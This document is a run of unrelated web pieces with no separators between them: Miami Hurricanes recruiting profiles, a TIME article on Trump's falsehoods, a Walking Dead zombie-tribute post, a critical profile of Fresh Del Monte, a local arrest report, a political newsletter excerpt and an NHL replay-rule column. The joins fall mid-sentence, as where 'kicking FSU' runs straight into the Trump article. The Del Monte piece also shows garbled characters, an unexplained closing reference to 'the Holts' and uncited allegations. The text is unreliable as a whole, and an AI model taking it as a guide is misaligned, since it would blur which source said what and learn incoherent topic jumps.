Projection: Dynamic secondary weapon. Harley is not a tall or wide body, but can go deep or work the intermediate lanes with his speed and has plenty of wiggle, both before and after the catch. His route-running was good enough to make defensive backs at the Army All-American Bowl look silly, and was a reason he rose from a three-star to a four-star afterward. “Harley is as ‘sudden’ a receiver as there is in this class,” Rivals’ Rob Cassidy wrote. Rivals’ Mike Farrell pegs him as consistent, productive and always open. “He’s so fun to watch,” Farrell wrote. “He’s such a difficult cover, gets in and out of his breaks so quickly, has great creativity, sets defensive backs up really well.”
💯Days 💯Nights❗️Major Blessing To Compete With The Best In The Nation At The #Armybowl ❗️🙏🏾🔋 pic.twitter.com/T2mZDvS3wL — Mike Harley Jr. Ⓜ️ (@harleyxvi) January 6, 2017
Fun facts: Adidas featured aforementioned cuts in an ad … Committed to West Virginia before dropping the pledge Jan. 22, a week after he visited UM … Had fun with the Miami-WVU Russell Athletic Bowl, calling it “The Harley Bowl” on Twitter and saying (facetiously, though many didn’t take it that way) that whomever won the game would get his signature on signing day … He did reaffirm his commitment at the time, before backing off a month later … Wears No. 3 … Turned 19 after last season … Also considered UCLA, Utah and West Virginia.
On tape: Hudl highlights: http://www.hudl.com/profile/3865227/mike-harley … Another highlight video: https://twitter.com/TopFlyFilms/status/824092397546196992 …
Evidence Njoku
Status: signed
Size: 6-6, 200
School: Wayne Hills (N.J.)
Stats: Registered 415 receiving yards and eight touchdowns on 27 catches as a senior and was a kick returner. As a junior, caught 18 passes for 306 yards and five touchdowns, made 29 tackles and an interception returned 38 yards for a score, and put up 350 kickoff return yards and four touchdowns (NJ.com).
Stars: Four (247), three (Rivals, ESPN)
Rank: No. 37 wide receiver, 297th overall (247), No. 81 (ESPN), No. 90 (Rivals)
Projection: Big target downfield and in the red zone. Njoku – who, of course, is the brother of potential first-round NFL draft pick and former UM tight end David Njoku — is taller and lankier than his brother was in high school. There’s a chance Evidence could wind up with the same tight end role as David, but it seems he could stay at receiver. Evidence has the frame to fill out to 230 or so, wrote in his recruiting video that he has a 89-inch wingspan, has good speed for his size (Rivals reported he runs a 4.52 in the 40), and brings leaping ability and ball skills to the table. There’s a lot to work with there, and he may not be done growing. He will be 17 through the upcoming season.
Fun facts: Second-youngest of nine children (four boys, five girls) … Parents were born in Nigeria … Said he models his game after Kelvin Benjamin, Dorial Green-Beckham and Devin Funchess, three NFL receivers 6-5 and 230 pounds or larger … Chose Miami over Penn State, Tennessee and Rutgers, among others. Also earned late offers from Oregon and Nebraska … Transferred from Cedar Grove (N.J.) before his senior year and won a state title with Wayne Hills … Wore No. 83 in high school.
On tape: Senior year highlight film: http://caneswatch.blog.palmbeachpost.com/2017/01/04/recruiting-evidence-njoku-brings-length-leaping-to-hurricanes-wr-group/ … Hudl highlights: http://www.hudl.com/profile/2641271/evidence-njoku … Junior year tape: https://www.youtube.com/watch?v=5JceOkfFLxQ
DeeJay Dallas
Status: enrolled
Size: 5-10, 205
School: Brunswick (Ga.) Glynn Academy
Stats: As a junior, rushed for 1,139 yards and 13 touchdowns, threw for 678 yards and seven touchdowns, caught 14 passes for 147 yards and a touchdown, and was his team’s primary return specialist. Senior year: rushed for 1,201 yards and 15 touchdowns, passed for 911 yards and eight touchdowns and zero interceptions in 64 pass attempts (Jacksonville.com)
Stars: Four (247, Rivals, ESPN)
Rank: No. 16 athlete, 196th overall (Rivals), No. 16, 231st overall (ESPN), No. 35, 487th (247)
Projection: A contributor – somewhere. Dallas won’t be a quarterback at UM, but could be a receiver or cornerback, depending on whether Miami lands its desired targets on signing day. He is also a candidate for returns, given the knack he displayed in high school. He’s confident, quick and elusive and “does so many things well,” ESPN wrote, with “the speed and instincts to be a playmaker no matter where he lines up on the field. … This is one of those guys that you [recruit and] figure out where to play later.” It’s likely Miami sees him on offense to start, given the fact it had receivers coach Ron Dugans comment on him publicly and roomed him with Ahmmon Richards on his official visit. “He’s a magician on the football field,” his coach, Rod Hidalgo, told Jacksonville.com. “They’re going to love the energy he brings.”
Fun facts: Miami’s unofficial ambassador in recruiting, who committed last May and got to work on convincing others to join him … Should be an instant fan favorite because of that, and his wanting to “kick [FSU’s] tails” in Doak Campbell Stadium this year … Built a strong relationship with Mark Richt during the coach’s Georgia days. Backed off his UGA commitment after Richt was dismissed … Named Jacksonville Times-Union Georgia player of the year … Had offers from Alabama, Auburn, Florida, Florida State and Georgia among a list of 32 schools … Named captain of Sports Illustrated’s “All-Name Team” for the 2017 recruiting class … Incidentally, the last Dallas the Hurricanes had – Dallas Crawford – was also a 5-10 four-star quarterback/athlete recruit. In college, he switched from safety to tailback and back again while contributing on special teams … Wore No. 5 in high school but plans to wear No. 13 at Miami.
On tape: Hurricanes alum D.J. Williams breaks down Dallas’ film: https://www.youtube.com/watch?v=JgQ9ZJqOoUI … Link to all his highlight tapes: http://www.hudl.com/profile/2759579/deejay-dallas
TIGHT ENDS
Brian Polendey
Status: enrolled
Size: 6-6, 218
School: Denton (Texas) Guyer
Stats: Recorded nine catches for 117 yards and two touchdowns as a junior (UM). As a senior, had seven catches for 60 yards and a score (247)
Stars: Three (247, Rivals, ESPN)
Rank: No. 11 tight end (ESPN), No. 12, 452nd overall (247), No. 27 (Rivals)
Projection: Starting tight end down the line. With Chris Herndon entrenched as the starter, it would be great to see Miami redshirt him and develop him, as it did David Njoku. He’s not a burner, but Polendey’s height and willingness to block stand out on film. “He plays tough, nasty” and is “extremely intelligent,” tight ends coach Todd Hartley said. Adding strength and refining his technique could make him a viable weapon, especially on short-and-medium routes. He played outside, in the slot, in line and at H-back in high school, not unlike Herndon’s role at UM. He also played a little tackle in high school, so at the very least, he has awareness of the guy next to him.
Fun facts: Born in Eugene, Ore. and grew up in Washington. Moved to Texas as a high school sophomore. … Coached by former Cane Jeremy Shockey at UM’s Paradise Camp last summer … Wore No. 83 in high school.
On tape: Hurricanes alum Jon Vilma breaks down Polendey’s film: https://www.youtube.com/watch?v=jZt3Xo-WmuA … Hudl highlight page: http://www.hudl.com/profile/5220499/brian-polendey
OFFENSIVE LINEMEN
Navaughn Donaldson
Status: enrolled
Size: 6-6, 335
School: Miami Central
Stats: N/A
Stars: Four (247, Rivals, ESPN)
Rank: No. 6 offensive tackle, 43rd overall (Rivals), No. 7 offensive guard, 89th overall (ESPN), No. 11 tackle, 81st (247)
Projection: All-ACC lineman. Donaldson needs to lose some bad weight, but when he does that and gets some college training, he can be as good as Miami’s had up front in some time. He has the athleticism and length to play tackle, and his power and fluidity could translate to guard. He has a wide body and moves well. “He’s going to absolutely destroy people as a road-grader,” Rivals analyst Mike Farrell said. “He’s big, he’s nasty … just needs to work on his pass-protection a little bit to become elite.”
Fun facts: Grew up a fan of the Baltimore Ravens and Ray Lewis … Played in the Under Armour All-America Game … Wouldn’t discuss a number when asked, but said dropping pounds is a goal. Joked he wants to be “one percent body fat” and said he wouldn’t mind playing defense if his coaches asked … Had offers from Florida, Florida State, Georgia, Louisville and many others. Visited UF and FSU but stuck with the Hurricanes. Said the Gators came in second … Miami sent eight coaches on a bus to his house for a visit in December … Once bear-hugged and hoisted Mark Richt off the ground after Richt offered him a scholarship … Wore No. 55 in high school … Teammate of fellow early enrollee Waynmon Steed.
On tape: Hurricanes alum Bryant McKinnie breaks down Donaldson’s film: https://www.youtube.com/watch?v=W794LWjYsso … Video interview at the Under Armour All-America game: https://www.youtube.com/watch?v=gwTuG144j8I … Rivals’ video analysis from Under-Armour week: https://n.rivals.com/news/video-ua-all-america-analysis-navaughn-donaldson
Kai-Leon Herbert
Status: signed
Size: 6-5, 275
School: Plantation-American Heritage
Stats: N/A
Stars: Four (Rivals, ESPN), three (247)
Rank: No. 12 offensive tackle, 99th overall (ESPN), No. 25 (Rivals), No. 71, 769th (247)
Projection: High-end tackle or guard. Herbert, like many linemen coming out of high school, needs to get stronger. However, he’s quick and nasty, and has the requisite size and length. ESPN called him a “smart kid who recognizes and adjusts to stunts and blitzes,” which gives him another advantage in a conference filled with quick pass-rushers.
Fun facts: This crazy, bloody, zombiefied recruiting commitment video was all for naught … Herbert acted in a short film with Bleacher Report in which he killed the undead fans of other Big Ten schools, Walking Dead-style, until he revealed himself to be a Michigan pledge. No really, watch this. And remember it fondly. He didn’t do another video when he committed to Miami recently, but hoo boy, imagine what he might have done if he had the time … Chose Miami over Florida … Wore No. 57 in high school … Also played at Cardinal Gibbons in Fort Lauderdale.
On tape: Rivals 5-star challenge OL vs. DL 1-on-1s (skip to 5:49 mark): https://www.youtube.com/watch?v=EA0FffrQw8w … Hudl highlight page: http://www.hudl.com/profile/3898911/kai-leon-herbert
Zach Dykstra
Status: enrolled
Size: 6-6, 305
School: Spirit Lake (Iowa)
Stats: N/A
Stars: Three (247, Rivals, ESPN)
Rank: No. 46 offensive tackle (ESPN), No. 60, 647th overall (247), not rated (Rivals)
Projection: Backup or spot starter as an upperclassman. Dykstra is a developmental project for offensive line coach Stacy Searels. He played right tackle and defensive end in high school, but could play either guard or center.
Fun facts: Not Miami’s highest-rated recruit, but the only one who was doing inverted single-arm handstand kettlebell presses as part of his training (watch short clips here and here) … Opted for Miami over in-state offers from Iowa and Iowa State … Visited Vanderbilt last fall, in addition to UM … Wore No. 67 in high school.
On tape: Hurricanes alum Bryant McKinnie breaks down Dykstra’s film: https://www.youtube.com/watch?v=j6qPg0S4o_8 … Hudl highlight page: http://www.hudl.com/profile/4530856/zach-dykstra
Corey Gaynor
Status: signed
Size: 6-4, 280
School: Parkland-Douglas
Stats: A lot of pancake blocks. His Hudl film says he had 106. Rivals reported 97. He told the Sun Sentinel he had 23 in one game as a senior.
Stars: Three (247, Rivals, ESPN)
Rank: No. 85 offensive guard (ESPN), No. 22, 1280th overall (247), not rated (Rivals)
Projection: Scrappy starting center. Gaynor’s film shows him destroying things in the run game. His best attribute is his nasty streak. His high school coach, Willis May, said in interviews with several publications that Gaynor has “bad intentions every play for the man across from him.” Gaynor told the Sun Sentinel he most looks forward to “kicking FSU |
turns out to be right," Trump told TIME two days later, in a 20-minute phone interview from the Oval Office. The testimony, in other words, had not fazed him at all. He was still convinced he would be proved right. "I have articles saying it happened."
That is not exactly true. The New York Times reported on Jan. 20 that wiretapped data had been used in an investigation of Trump's advisers, but not that Obama had targeted Trump for wiretapping, as Trump had claimed. But he had new ammunition: House Intelligence Committee chairman Devin Nunes had just announced that he had seen intelligence reports showing the President-elect and his team were "at least monitored" as part of "legally collected" information. Nunes suggested the monitoring was most likely the result of "incidental collection," which occurs when a target of an intelligence operation, like a foreign ambassador, talks with another U.S. person. But Nunes never claimed that Obama wiretapped Trump.
And yet for Trump, who proceeded to read at length over the phone from a Politico article on Nunes' statement, such distinctions did not matter. "That means I'm right," he said. He also argued that the punctuation in his original tweet meant he did not mean wiretapping in the literal sense. "When I said 'wire tapping,' it was in quotes," he said.
What did he mean? Trump argued that his claims about scandalous wiretaps by Obama had to be viewed within the context of other assertions he had made in the past, which had later come true. He had predicted, for instance, that the sexting of former Representative Anthony Weiner would become a problem for Hillary Clinton's campaign, which it did, when the FBI found emails to Clinton on his computer. He had claimed that he would win the White House, when few believed him, which he did. He claimed that Britain would vote to exit the European Union--"I took a lot of heat when I said Brexit was going to pass." He described Brussels as a "hellhole" before a major terrorist attack there. "I happen to be a person that knows how life works," he said.
He also claimed credit for things he had said that were factually incorrect at the time, but for which he later found evidence. At a February rally, in a discussion about problems caused by new migrants in Europe, he said, "Look at what's happening last night in Sweden." Nothing had happened the prior night in Sweden, prompting diplomatic protests from Stockholm. But days later, there was a riot in a predominantly immigrant suburb in response to a local arrest. Which, to the President's way of thinking, made him a truth-teller. "I was right about that," he said.
Truth, in other words, takes time to ripen: he also said his unsubstantiated claim that at least 3 million undocumented immigrants had voted illegally in the 2016 election would be proved right eventually, though he hinted to TIME that he no longer stood by all parts of that claim. "When I say that, I mean mostly they register wrong. In other words, for the votes, they register incorrectly, and/or illegally," the President said. "I'm forming a committee on it."
Both FBI Director Comey, left, and NSA chief Rogers said they could find no evidence for Trump's claims that Obama had bugged Trump's phone calls. J. Scott Applewhite—AP
The more the conversation continued, the more the binary distinctions between truth and falsehood blurred, the telltale sign of a veteran and strategic misleader who knows enough to leave himself an escape route when he tosses a bomb. Rather than assert things outright, he often couches provocative statements as "beliefs," or attributes them to unnamed "very smart people." During the campaign, he claimed falsely that Texas Senator Ted Cruz's father had consorted with the assassin who killed John F. Kennedy. Now as President, Trump argued that he had done nothing wrong by spreading the fiction, since it had been printed in the National Enquirer, a tabloid famous for its unconventional editorial standards.
"Why do you say that I have to apologize?" he asked. "I am just quoting the newspaper." He appeared to do it again, when he repeated the accusation of a Fox News contributor, Andrew Napolitano, who claimed his network was told by three former intelligence officials that Obama had asked the British to surveil Trump's campaign. Fox News repudiated the claim, the pundit vanished from the airwaves, the British called the accusation "ridiculous," and the head of the U.S. National Security Agency said it would not have happened under his watch. And yet Trump did not back down. "I have a lot of respect for Judge Napolitano," he said. "I don't know where he has gone with it since then."
Trump has in this way brought to the Oval Office an entirely different set of assumptions about the proper behavior of a public official, and introduced to the country entirely new rules for public debate. In some ways, it is not surprising. For years, we have known Trump colored outside the lines of what was actually real because he told us. As a businessman, Trump wrote in praise of strategic falsehood, or "truthful hyperbole," as he preferred to call it. Sometimes his whoppers were clumsy, the apparent result of being ill informed or promiscuous in his sources. Sometimes he exaggerated to get a rise out of his audience. But often Trump's untruths give every sign of being deliberate and thought through. Trump recently bragged about a drop in the Labor Department jobless rate--after calling the same statistic "phony" when it signaled improvement under Obama. Trump explained the contradiction through his spokesman with a quip: "They may have been phony in the past, but it's very real now."
Through it all, he has presented himself as the last honest man, and among his fervent supporters, he hits notes that harmonize with the facts of their lives as they deeply feel them. To beat a polygraph, it's said you should make some part of your brain believe what you are saying. Friends of Trump report that the President would pass with flying colors. He tells them privately that he believes the things he tweets in public. Despite the luxury and ease of his own life, he seems genuine in his belief that the system is rigged, and that life is a zero-sum game: no one wins without someone else losing. Reality, for the reality-show mogul, is something to be invented episode by episode.
And what reality is Trump creating? He entered national politics in 2011 peddling the incredible theory that Obama might have been born in Africa--and therefore constitutionally barred from the presidency. In those days Trump was widely dismissed as a reckless self-promoter, though he clung to his story for five years, using it to get television bookings and newspaper coverage, before surrendering it with a shrug. Looking back, it's striking to see a future President testing the waters by charging the elected incumbent with fraud and illegitimacy without introducing a shred of evidence.
That was a fitting warm-up for Trump's official entry into the 2016 campaign. The Mexican government, he alleged, is deliberately dumping its hoodlums in the U.S. Later that year, he answered the Paris terrorist attacks by claiming, without substantiation, that he had seen "thousands and thousands of people" celebrating in New Jersey as the Twin Towers smoldered on 9/11 on television. (No footage is known to exist.)
Trump's alternative reality is dark, divisive and pessimistic, and it tends to position him and his supporters as heroic victims of injustice. Despite this--or maybe because of it--his reckless assertions are weapons that often work. He commandeers the traditional news cycle and makes visceral connections with voters. By taking on Obama over his birth certificate, Trump charmed a right-wing constituency and ratcheted himself to the level of White House--ready. By scorning good manners to attack border crossers and Muslims, Trump showed solidarity with the politically incorrect and advertised his iconoclasm. By flouting fact-checkers and making journalists his enemy, he is driving home the theme that his turbulent presidency is a struggle to the death with a despised Washington elite.
Trump has discovered something about epistemology in the 21st century. The truth may be real, but falsehood often works better. It is for this same reason that Russia deployed paid Internet trolls in the 2016 campaign, according to U.S. investigators, repeatedly promoting lies on U.S. social networks to muddy the debate. In the radical democracy of social media, even the retweets of outraged truth squadders has the effect of rebroadcasting false messages. Controversy elevates message. And it keeps the President on offense.
If the fable of President Trump is ever written, young Donald might say to his father: I'm not gonna lie to you, Dad. The tree has been chopped--smart people say maybe by illegal immigrants or Muslims. There are some bad hombres. Anyway, it's gone, and I'm gonna build something truly terrific on this parcel.
"These big falsehoods are different," explains Bill Adair, who created PolitiFact, the fact-checking journalistic site that won a Pulitzer Prize. "They are like a neutron bomb. They just take over the discussion and obliterate a lot of other things that we should be discussing."
Since winning the White House, Trump has employed this weapon at specific times, often when he is losing control of the national story line. He pulled the trigger on Nov. 27, a day after Clinton's vanquished campaign agreed to join in a recount of votes in Wisconsin. Over the course of that day, Trump sent out 11 tweets, averaging 18,440 retweets, expressing his outrage over the situation. But the two most widely read and shared, by wide margins, were the false ones.
His incorrect claim that he had won the popular vote "if you deduct the millions of people who voted illegally" was retweeted more than 53,000 times. His unsupported allegation of "serious voter fraud" in three states that he lost was forwarded more than 31,000 times. The virtual world far prefers the outrageous, the new, the controversial to the normal routine of reason and verification. And so does the world of news. Television and print reporters rushed to examine the President-elect's sensational statements, thus spreading them further. In the dog-eat-dog world of Donald Trump, Clinton had taken the first swing, and he was justified in fighting back with the full force of the Internet.
TIME reviewed the 298 tweets Trump has sent since being elected President as of March 21. Fifteen included clear falsehoods, like the wiretap claims. The false messages were retweeted an average of 28,550 times. Those that were not clearly false were retweeted on average 23,945 times. The viral effect of falsehood being repeated on the news was many times more pronounced. According to a search through the Internet Archive, a nonprofit library database, the false tweets were quoted on television an average of 31 times, more than twice as often as other tweets.
For Trump's allies, this is a measure of strategic brilliance, not defective character. "He understands how to make something an issue and elevate the discussion by saying things that are contrary, perhaps even unproved," explains Roger Stone, a former adviser to Trump, who has his own penchant for spreading false conspiracy theories. "He has the ability to change the subject to what he wants to talk about."
The night before his wiretap maneuver had been a trying one for Trump's young White House, according to aides. It was a Friday, and the President was frustrated that his widely praised address to Congress on Tuesday had been overtaken by darker news. Revelations of previously denied contacts between Attorney General Jeff Sessions and a Russian official had led Sessions to recuse himself from any probe of Russian election interference. The LexisNexis database registered 509 stories or news transcripts referring to some aspect of the story.
Aides later said Trump latched on to an online article by a conservative talk-show host, who assembled previously published media reports into a speculative indictment of Obama. Whether Trump was persuaded by the theory or simply looking for something explosive to change the story line, he knew he had found dynamite. "There is one page in the Trump White House crisis-management playbook," argued Obama's former White House spokesman Josh Earnest two days later. "And that is simply to tweet or say something outrageous to distract from a scandal." It worked. His tweet replaced the Russian story at the top of the news, generating 514 stories that Sunday.
Trump is by no means the first to use diversion and distortion as a political weapon. During the 2016 Brexit debate in Great Britain, critics of the E.U. exaggerated the cost of E.U. membership to average Britons by roughly 100%. The ensuing argument over the correct amount served to focus resentment that citizens were paying anything at all.
Democrats have been caught playing the game. Former Senate leader Harry Reid floated the false claim that Mitt Romney did not pay taxes, without any evidence. And in both the 2008 and 2012 campaigns, the Obama campaign suggested that Republican nominees John McCain and Mitt Romney opposed abortion even in cases of rape and incest. They did not, but the misdirection tilted the abortion debate toward an issue favorable to most Democrats.
Trump took this occasional tool and made it a favorite weapon. "The President has a history of being a negotiator," explains Christopher Ruddy, a longtime friend of Trump's, who continues to meet with him in Florida. "If I look back, I think he is always in a state of negotiation with everybody, all the time. He takes an exaggerated position to create a new middle ground. He moves the goalposts to force other people to move."
And he is able to withstand tremendous derision over his untruthfulness. A man who has cheerfully discussed intimate details of his private life on the air with Howard Stern, a man who mugs and poses at professional-wrestling bouts, a man who encouraged the coverage of his own affair in the New York tabloids is not overburdened by a sense of shame. This has proved to be an advantage over politicians who fear the embarrassment of being caught in a lie.
That fear has been documented by political scientists. During the 2012 election season, two researchers randomly divided 1,169 state legislators from nine states into three groups. One group received letters warning that they were being monitored for falsehood by PolitiFact, and that any false statements would soil their reputations and risk defeat. The second group was sent letters saying their statements were being monitored--but with no explicit warning of consequences. The third group wasn't contacted at all.
Group A--the ones who were warned of consequences--proved to be more cautious about the truth. They had their accuracy questioned at less than half the rate of the other groups. "Politicians typically care not just how the public cares about them but about how elites care about them," explained Dartmouth's Brendan Nyhan, one of the authors of the study. "Trump doesn't care." Indeed, even exit polls on Election Day found that 65% of voters--including 28% of his own voters--said that he isn't "honest and trustworthy." Yet that hasn't stopped his rise.
The question now is this: Can this same strategy work for a President of the United States? The credibility Trump toys with is no longer just his own. For generations, the world has looked to American leadership in times of crises, one grounded in an historic fidelity to basic facts and a sobriety of rhetoric. What does it mean if the President now needs to use that credibility to rally support in a new confrontation with North Korea? Will the world have time or patience to consider which words he has put air quotes around?
The conservative editorial page of the Wall Street Journal had raised the question on the same morning Trump called TIME, with a biting condemnation of Trump's falsehoods. The article compared the President to a drunk, clinging "to an empty gin bottle" of fabrication. Trump had read the piece, and he did not approve. "The country's not buying it. It is fake media," he said of the Journal. "The country believes me. Hey, I went to Kentucky two nights ago. We had 25,000 people."
Trump leaves a “Repeal Obamacare” rally in Louisville, Ky., on March 20, the same day top U.S. officials refuted his claim that he was wiretapped. John Minchillo—AP
It is true that Trump has many supporters. One possibility is that this shift in behavior at the top will lead to an increased skepticism among the voters and politicians on whom Trump depends. Reams of social science long ago established that partisans tend to unconsciously overlook falsehoods that come from their own team, while being outraged by the errors of their enemies. But Trump's excesses are exasperating even his fellow Republicans. Senate majority leader Mitch McConnell has stepped up his warnings about Trump's tweeting, telling one conservative outlet that it "takes attention away" from his party's accomplishments. Trump isn't moved. "Mitch is a wonderful man," the President told TIME. "Mitch will speak for himself."
But other Republican members of Congress have become more bold in voicing their concerns. "There's a lot of distractions," agrees Senator Jerry Moran of Kansas, whose state gave Trump 56% of its votes. "I just would say that truth is foundational. It's important in public life, and all of us need to do what we can to tell it the way the facts are." Representative Carlos Curbelo of Florida agrees: "The White House and the President have to understand that there's a cost to all of this. This country needs a government that it can trust."
Ultimately, democracy needs facts to allow for public debate and provide a check on abuses of power. "Truth has a despotic character," philosopher Hannah Arendt wrote in a 1968 essay on the subject. "It is therefore hated by tyrants who rightly fear the competition of a coercive force they cannot monopolize." Although Trump is a tyrant only in the minds of his most fevered critics, he often talks like one. "Any negative polls are fake news," he tweeted in his third week on the job. The Gallup daily tracking poll of Trump's approval fell below 40% after the release of his Obamacare replacement bill.
With time, Trump may find he has committed himself to a strategy that will deteriorate with reuse, because with each passing month the American people will be gathering their own data on his habits and tactics, and what they yield. They will decide whether it's true, as Trump has promised, that health care costs are lower and everyone has wonderful insurance. They will fact-check his pledge of millions of new manufacturing jobs. They will see whether their incomes rise and their taxes fall, whether Mexico pays for a giant wall. "In the end, Presidents aren't allowed to get away with excuses," explains Bill Galston, a presidential scholar who worked in the Clinton White House. "They pay a price for the promises they make." This is a truth that no one yet has been able to tweet away.
Before he got off the phone, I tried one more time to get Trump to answer a question about the risk to his reputation caused by false and ever changing utterances. Once again, he would not accept the premise. "Hey, look," he said. "I can't be doing so badly, because I'm President and you're not." As a factual matter, the last part of this statement is indisputably true. And with that, he graciously said goodbye and went back to running the affairs of the most powerful country in the world.
--With reporting by SAM FRIZELL, ZEKE J. MILLER, PRATHEEK REBALA and CHRIS WILSON/WASHINGTONFurther proof that Greg Nicotero is the greatest.
One of our favorite little things about “The Walking Dead” is that executive producer/makeup effects master Greg Nicotero (the man who puts the “N” in KNB EFX) often hides “tribute walkers” in the episodes he directs. What are “tribute walkers,” you ask? They’re zombies that pay tribute to iconic zombies from classic horror movies, of course.
In the past, Nicotero has paid tribute to everyone from Dawn of the Dead‘s Flyboy to Day of the Dead‘s Bub, and he has also homaged films such as An American Werewolf in London, Ghost Story, Tales from the Crypt, Black Sabbath, Shaun of the Dead, and Return of the Living Dead. The most recent “tribute walker” paid loving tribute to Night of the Comet!
As @GNicotero revealed over on Instagram, a walker seen in this past Sunday night’s episode, titled “The Well,” was a direct homage to a zombie seen in the 1984 horror-comedy; the episode, it should go without saying, was directed by Nicotero himself. The film’s zombie can be seen at the top of this post, and you can check out “The Walking Dead” tribute below.
Gotta love it!FRESH DEL MONTE: A Tough Competitor In a Cut-Throat Trade
BY TONY WEST/Appearances to the contrary, Fresh Del Monte Produce, Inc. shares nothing more than a brand name any more with Del Monte Foods, the historic California food packer.
This tropical-fruit operation was spun off as a separate company in 1990, winding up first with Cypriot, then with Mexican owners. The company soon foundered and fell into the hands of the Mexican government.
In 1996, Fresh Del Monte was bought by a Palestinian émigré, Mohammad Abu-Ghazaleh, who had made a fortune importing bananas to the Middle East. He turned it around and built it into the largest fresh-produce company in the world.
Today, Fresh Del Monte is headquartered in Miami, where 68-year-old CEO Abu-Ghazaleh lives, along with his COO, Hani el-Naffy, who was born in Lebanon. However, the company is incorporated in the Cayman Islands, a Caribbean tax haven. The Abu-Ghazaleh family owns a majority share of the company, which is traded on the New York Stock Exchange. It last reported $145 million in profits on $3.5 billion in revenue.
Abu-Ghazaleh is a prominent Miami socialite; his living-room was featured in an interior-design magazine. El-Naffy tends to shun the limelight. An investment observer said of el-Naffy his “Mafia don-type management style strikes fear into all that work with him, yet supports and covers his superior’s mistakes constantly. He does so much more than his title depicts … I am wary of his impending early retirement and beware of the stock losses when he does.â€
Both Abu-Ghazaleh and el-Naffy are involved in a mare’s nest of other international business ventures revolving around either food or shipping. Wearing another hat, for instance, that of National Poultry PLC, Abu-Ghazaleh is the Frank Perdue of Jordan. Most of these operations are privately held and analysts consider even Fresh Del Monte opaque to outsiders. Abu Ghazaleh stresses close control of operations and has moved everywhere to acquire vertical ownership of production as well as shipping, processing and marketing.
In an often-cutthroat industry, Abu Ghazaleh has a reputation for hard bargaining and ruthless dealing. While he has scored points for environmental awareness, he drives relentlessly to cut labor costs to the bone. Several international observers have criticized the company for child labor in Ecuador and intimidation of union organizers in Guatemala. Fresh Del Monte will can a union operation in the blink of an eye.
In 2007, a Fresh Del Monte plant in Oregon was raided by immigration agents, who netted 167 illegal immigrants. However, the company escaped liability because the workers had been hired through a middleman. This is a standard tactic for the company, which has been sued for it in other jurisdictions.
Also in 2007, the company was accused of paying off rightwing paramilitary forces in Colombia, where union leaders on banana plantations on banana plantations have been murdered. Fresh Del Monte has denied such payments.
Accusations of political corruption also coil around Fresh Del Monte. After Abu-Ghazaleh bought the company, some minority shareholders sued him in Miami, charging he had paid a $321,000 bribe to a Mexican government official to force the sale at half its true value. That official, Eduardo Bours, later became Governor of the Mexican State of Sonora, which abuts the Arizona border. The payment was proven, but the lawsuit failed.
However, Marvin Bush – brother of then-President George W. Bush and then-Gov. of Florida Jeb Bush – resigned from the Board of Directors of Fresh Del Monte after the lawsuit was filed, for personal reasons.
Hardball players in a tough industry, both in business and in politics, the Abu Ghazalehs and the Holts share a common outlook.
JOIN OUR NEWSPAPER Join over 3.000 visitors who are receiving our newsletter and learn how to optimize your blog for search engines, find free traffic, and monetize your website. We hate spam. Your email address will not be sold or shared with anyone else.CLOSE Here's a breakdown of the stories right now at www.democratandchronicle.com. Virginia Butler
Police siren. (Photo: Getty Images/iStockphoto)
A Pittsford mother faces child endangerment charges for letting her 10-year-old child hang out in a Lego Store while she shopped elsewhere at Eastview Mall.
The Ontario County Sheriff's Office says 44-year-old Jia Fan was arrested Sunday evening and charged with leaving her child unattended in the store at the mall in Victor.
The sheriff's office didn't say how long the child was alone.
Lego corporate spokeswoman Amanda Madore said store employees followed company policy regarding unaccompanied minors and contacted mall security.
In 2014, a mother was arrested for leaving her 7-year-old son alone in a Lego Store at a Long Island mall.
Fan was given an appearance ticket for Victor Town Court.
It could not be determined if she has a lawyer to comment.
Read or Share this story: http://on.rocne.ws/2tUK9KtBig, busy Morning Jolt to close out the week — an appalling failure of immigration law enforcement, an indictment in that long-forgotten GSA conference scandal, another trip down memory lane for a beloved prematurely-canceled television show, and then this glaring change in our national politics:
Funeral Services for the Anti-War Movement Will Be Held Next Week
Howard Kurtz writes the obituary of the anti-war movement. Born in 2003, the movement experienced sudden difficulties in January 2009, struggled and limped along for the past few years, and finally collapsed in the street in front of the White House least week:
Medea Benjamin of Code Pink was asked why so few on the left oppose Obama. “‘He’s totally defanged us,’ she said, citing his party, his affability — and his race. ‘The black community is traditionally the most antiwar community in this country. He’s defanged that sentiment within the black community, or certainly voicing that sentiment.’”
Defanged. Wow, those are damning words.
Andrew Sullivan, a conservative who largely became an Obama booster, is equally incredulous:
“The way in which Obama supporters have lamely acquiesced to this reckless war fomented by a dangerous executive power-grab is more than a little depressing. It strikes me as uncomfortably close to pure partisanship. I can’t imagine them downplaying the folly of this if a Republican president were in charge.”
As Joe Weisenthal noted, Democrats largely abandoned the antiwar movement the moment Obama took office:
Commander Salamander, back in 2011: “There never was an anti-war movement. Deep down, I think – most of us knew that anyway. It was an anti-Bush movement. War had nothing to do with it – it was all about the Left finding a way to regain power.”Before we start making up this week’s trade rumours, some rule-related housekeeping from recent NHL action.
The Colorado Avalanche were involved in two unusual replay situations, both creating confusion because we hadn’t seen them before. The first came in last Wednesday’s 3-2 victory over Montreal. In the second period, Jarome Iginla had a goal wiped out because he knocked over goaltender Ben Scrivens.
Coach Patrick Roy did not challenge, as the team was told it could not do so. (To be honest, I’m not sure the no-goal/penalty would’ve been overturned.) However, we reported during the game the NHL indicated a review could have occurred.
The team and league spoke Thursday to sort things out, only to see the exact same situation unfold days later. Saturday night in Edmonton, the Oilers had a goal disallowed because Taylor Hall collided with Calvin Pickard. Milliseconds after, Teddy Purcell picked up the loose puck and scored.
Roy was furious, even though the score didn’t count. Told once it was not reviewable, he couldn’t understand why it was happening again. Counterpart Todd McLellan admitted post-game he shouldn’t have been able to do it.
Sportsnet’s John Garrett said during Sunday’s Colorado/Vancouver game that the league called GM Joe Sakic to go through it once again. And, on Monday, the NHL hashed it out internally.
Here’s what happened: In the two examples from last week, both plays should have been blown dead. If you think about it logically, a penalty is being called on Colorado (Wednesday) and Edmonton (Saturday) before either Iginla or Purcell touch the puck. Once they do, there should be a whistle. No way a goal should count.
However, review rules allow for a challenge if there is a “simultaneous” goal/penalty. So, say on Wednesday, the original shot goes in as Iginla knocks over Scrivens. Or, on Saturday, Purcell scores as Hall falls into Pickard. Those situations are not as clear. In those instances, a coach can ask for a replay challenge. And, if the referees sided with the penalized club, the goal would count with the penalty erased.
So, on Monday, the league and its referees reiterated the correct method of handling this scenario. If the Iginla/Purcell situation happens again, no review is allowed. Anytime a delayed penalty would be called before the puck enters the net, the play is dead.
Why the confusion? We hadn’t seen anything like this before. Good thing the first occurrence wasn’t in the playoffs.
30 Thoughts
